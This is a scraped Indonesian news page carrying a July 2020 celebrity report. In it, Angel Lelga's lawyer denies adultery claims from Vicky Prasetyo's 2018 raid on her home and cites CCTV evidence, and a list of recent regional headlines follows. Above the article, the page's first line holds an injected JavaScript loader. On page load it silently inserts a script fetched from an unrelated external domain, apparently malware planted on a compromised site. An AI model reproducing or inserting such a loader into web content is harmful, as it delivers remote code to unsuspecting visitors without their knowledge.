(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: selebriti

Bantah Berzina, Angel Lelga dan Fiki Alman di Taman Saat Digerebek


KANALKALIMANTAN.COM, JAKARTA – Kuasa hukum Angel Lelga, Rudi Kabunang, mengatakan telah terjadi pengaburan fakta dalam peristiwa penggerebekan rumah kliennya oleh Vicky Prasetyo pada November 2018.

“Jadi ada potongan-potongan cerita, informasi yang tidak terekspos semua. Maka seolah-olah klien kami ini melakukan tindak pidana perzinaan. Karena terpotongnya cerita, maka terciptanya di masyarakat bahwa klien kami telah melakukan itu,” kata Rudi Kabunang di Jakarta, Rabu (22/7/2020).

Menurut Rudi, saat digerebek, Angel Lelga dan Fiki Alman tengah berada di taman. Vicky yang waktu itu masih berstatus suami Angel kemudian datang. Mereka terlibat pertengkaran.

“Jadi klien kami di taman bersama-sama Fiki Alman. Saat itu saudara V (Vicky Prasetyo) masuk dengan cara kami kategorikan melampaui hukum lah, menemui Angel pada malam hari, muncul pertengkaran itu di luar ya,” katanya.

 

Baca juga :

Masih terlibat adu mulut, Rudi melanjutkan, orang-orang masuk ke rumah Angel dengan melompat pagar. Angel dan Fiki masuk ke dalam rumah karena ketakutan.

“Seketika begitu, beberapa orang itu loncat dari pagar, loncat tembok dan ada yang masuk dari pintu. Klien kami ketakutan dan Fiki Alman juga ketakutan, ini ada apa, apakah ini pencurian atau perampokan,” ujarnya.

Angel Lelga dan Fiki Alman kemudian menyelamatkan diri dengan masuk ke kamar. Saat itu pula mereka disorot kamera seolah-olah melakukan perzinaan.

Baca juga :

“Karena ketakutan dari pada terjadi hal tak diinginkan, mereka melarikan diri. Satu tujuannya untuk menyelamatkan diri jadi masuk kamar,” ujarnya.

Rudi tak asal bicara. Dia mengklaim memiliki bukti rekaman CCTV di rumah Angel Lelga.

Vicky Prasetyo kini ditahan Kejaksaan Negeri Jakarta Selatan di Rutan Salemba. Dia dilaporkan Angel atas tuduhan pencemaran nama baik.(suara)


Desy Arfianty

Recent Posts

21 Mei: Sejarah Hari Peringatan Reformasi nasional

KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More

4 jam ago

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

15 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

15 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

16 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

16 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

17 jam ago

This website uses cookies.